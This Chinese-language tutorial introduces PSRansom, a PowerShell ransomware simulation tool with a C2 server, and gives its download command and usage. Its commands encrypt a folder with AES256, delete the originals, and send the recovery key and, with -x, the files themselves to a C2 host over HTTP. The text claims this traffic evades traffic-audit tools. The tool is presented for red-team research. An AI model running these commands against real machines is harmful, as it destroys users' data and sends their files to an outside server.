关于PSRansom
PSRansom是一款带有C2服务器功能的PowerShell勒索软件模拟工具,该工具可以帮助广大研究人员模拟针对任何操作系统平台(只要安装了PowerShell即可)的通用勒索软件数据加密过程。在C2服务器功能的帮助下,我们甚至还可以通过HTTP从目标设备(客户端)中提取文件,并在服务器端接收信息。
客户端和服务器端之间的通信数据都经过了加密和编码,因此是无法被基于流量审计的检查工具所检测到的。
工具要求
PowerShell 4.0或更高版本
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:
代码语言:javascript复制git clone https://github.com/JoelGMSec/PSRansom
或者直接访问该项目的【Releases页面】下载工具的压缩文件。
下载完成之后,我们将拿到两个脚本:PSRansom和C2Server。第一个将模拟勒索软件感染,而第二个将负责恢复文件及其恢复密钥。
工具使用
该工具的使用非常简单,我们只需要指明要加密的目录、C2 服务器的 IP 或主机名以及接收连接的端口。
除此之外,如果我们需要发送加密文件,则需要在命令结尾添加-x参数选项即可。在解密的时候,只需要指明目录和恢复密钥即可。
工具使用样例
首先,我们的测试场景定义如下:
1、勒索软件将在 Windows 机器上运行 2、我们要加密的文件夹位于 C:Backup 3、C2 服务器将在 Kali Linux 上运行 4、所有流量都将通过代理查看详细信息
接下来,我们看看该工具提供了哪些操作选项:
命令和控制服务器的使用也非常简单,我们只需要指明监听连接的端口和接收连接的端口即可。这里,我们使用的是80端口:
代码语言:javascript复制pwsh C2Server.ps1 80
接下来,我们将使用以下命令运行加密和渗透:
代码语言:javascript复制.PSRansom.ps1 -e directory -s ServerC2 -p port -x
此时将生成24 个字母数字字符(小写、大写和数字)的随机密钥,数据将以 AES256 加密,并将恢复密钥发送到 C2 服务器。
完成后,原始文件将被删除,仅保留加密的文件:
服务器端将接收到类似如下图所示的内容:
现在,我们将在服务器端接收到目标设备的信息、恢复密钥、加密文件列表等:
许可证协议
本项目的开发与发布遵循GPL-3.0开源许可证协议。
参考资料
https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell